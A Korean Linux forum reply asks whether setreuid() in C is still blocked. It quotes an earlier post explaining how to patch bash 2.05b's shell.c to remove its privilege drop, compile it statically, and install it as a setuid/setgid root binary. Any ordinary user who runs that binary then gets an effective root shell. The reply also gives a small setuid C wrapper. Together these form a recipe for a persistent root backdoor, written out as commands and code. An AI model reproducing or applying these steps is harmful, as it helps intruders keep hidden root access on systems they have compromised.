C에서 setreuid() 함수도 setuid 안먹히나요?
 [jsh83@gelug jsh83]$ bash --version
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc.
[jsh83@gelug jsh83]$
 버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;
 <pre>#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 int main(void)
{
        int n;
         setreuid(0, 510); // 510은 jsh83의 권한
        system("/usr/bin/id");
         exit(0);
}
 </pre>
위와 같이 파일 만들어서 루트권한으로 컴파일 한 후
 chmod 4751 파일명 && chgrp jsh83 파일명
 하니깐 잘 되던데요.. 이번엔 안되는지요?
 : 안녕하세요?
:
: 요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
: 려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.
:
: 이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
: 법에 대해 간단히 적혀있습니다.
:
: 해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
: 이 지시기 바랍니다. 
:
:
: ** 준비물 **
: bash 최신 버전 (bash-2.05b.tar.gz)
: 슈퍼 유저 권한
:
: bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,
: ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로
: 설명하지 않겠습니다.
:
:
: ** root shell 만들기 **
: 우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
: 2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
: 는 위, 아래 라인을 잘 살펴보세요)
:
: if (running_setuid && privileged_mode == 0)
:   disable_priv_mode ();
:
: 간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.
:
: ->
: if (running_setuid && privileged_mode == 0);
:   /* disable_priv_mode (); */
:
: if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...
:
: 다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을
: 적는다면...
:
: $ ./configure --enable-static-link --disable-history
:
: 뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
: 일됩니다.
:
: 다음에 루트 권한으로 쑤시는 명령들...
:
: # chown root.root bash
: # chmod 6755 bash
: # ls -l bash
: -rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
: #
:
: 오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...
:
: $ ./bash
: # id
: # uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
: (users)
:
: euid, guid가 root로 된 것을 확인할 수 있습니다.
:
:
: 유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
: 으면 합니다.
:
: 그럼...
 --
L!nux 사랑, 세벌식 사랑, 나라 사랑
<img src="http://www.gelug.pe.kr/gelug.gif">